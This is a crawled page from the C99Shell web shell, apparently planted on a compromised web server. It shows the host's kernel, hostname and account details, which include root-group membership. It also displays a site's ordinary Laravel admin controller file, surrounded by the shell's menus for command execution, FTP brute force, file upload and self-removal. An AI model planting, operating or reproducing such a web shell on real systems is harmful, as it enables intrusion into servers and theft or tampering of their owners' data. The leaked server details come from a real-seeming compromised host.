!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Http/Controllers/Back/   drwxr-xr-x
Free 29.16 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategoryController.php (3.46 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Back;

use 
App\Http\Controllers\SyncController;
use 
GuzzleHttp\Client;
use 
Illuminate\Support\Str;
use 
App\{
  
Jobs\SyncCategory,
  
Models\Category,
  
Repositories\Back\CategoryRepository,
  
Http\Requests\CategoryRequest,
  
Http\Controllers\Controller
};
use 
App\Helpers\ImageHelper;
use 
App\Models\Item;
use 
Illuminate\Http\Request;

class 
CategoryController extends Controller
{
  
/**
   * Constructor Method.
   *
   * Setting Authentication
   *
   * @param  \App\Repositories\Back\CategoryRepository $repository
   *
   */
  
public function __construct(CategoryRepository $repository)
  {
    
$this->middleware('auth:admin');
    
$this->middleware('adminlocalize');
    
$this->repository $repository;
  }

  
/**
   * Display a listing of the resource.
   *
   * @return \Illuminate\Http\Response
   */
  
public function index()
  {



    return 
view('back.category.index', [
      
'datas' => Category::orderBy('id''desc')->get()
    ]);
  }




  
/**
   * Show the form for creating a new resource.
   *
   * @return \Illuminate\Http\Response
   */
  
public function create()
  {
    return 
view('back.category.create');
  }

  
/**
   * Store a newly created resource in storage.
   *
   * @param  \Illuminate\Http\Request  $request
   * @return \Illuminate\Http\Response
   */
  
public function store(CategoryRequest $request)
  {
    
$request->validate([
      
'serial' => 'required|numeric|max:150'
    
]);
    
$this->repository->store($request);
    return 
redirect()->route('back.category.index')->withSuccess(__('New Category Added Successfully.'));
  }

  
/**
   * Change the status for editing the specified resource.
   *
   * @param  int  $id
   * @param  int  $status
   * @return \Illuminate\Http\Response
   */
  
public function feature($id$status)
  {
    
Category::find($id)->update(['is_feature' => $status]);
    return 
redirect()->route('back.category.index')->withSuccess(__('Status Updated Successfully.'));
  }

  
/**
   * Change the status for editing the specified resource.
   *
   * @param  int  $id
   * @param  int  $status
   * @return \Illuminate\Http\Response
   */
  
public function status($id$status)
  {
    
Category::find($id)->update(['status' => $status]);
    return 
redirect()->route('back.category.index')->withSuccess(__('Status Updated Successfully.'));
  }


  
/**
   * Show the form for editing the specified resource.
   *
   * @param  int  $id
   * @return \Illuminate\Http\Response
   */
  
public function edit(Category $category)
  {
    return 
view('back.category.edit'compact('category'));
  }

  
/**
   * Update the specified resource in storage.
   *
   * @param  \Illuminate\Http\Request  $request
   * @param  int  $id
   * @return \Illuminate\Http\Response
   */
  
public function update(CategoryRequest $requestCategory $category)
  {
    
// $request->validate([
    //   'serial' => 'required|numeric|max:150'
    // ]);
    
$this->repository->update($category$request);
    return 
redirect()->route('back.category.index')->withSuccess(__('Category Updated Successfully.'));
  }

  
/**
   * Remove the specified resource from storage.
   *
   * @param  int  $id
   * @return \Illuminate\Http\Response
   */
  
public function destroy(Category $category)
  {
    
$mgs $this->repository->delete($category);
    if (
$mgs['status'] == 1) {
      return 
redirect()->route('back.category.index')->withSuccess($mgs['message']);
    } else {
      return 
redirect()->route('back.category.index')->withError($mgs['message']);
    }
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--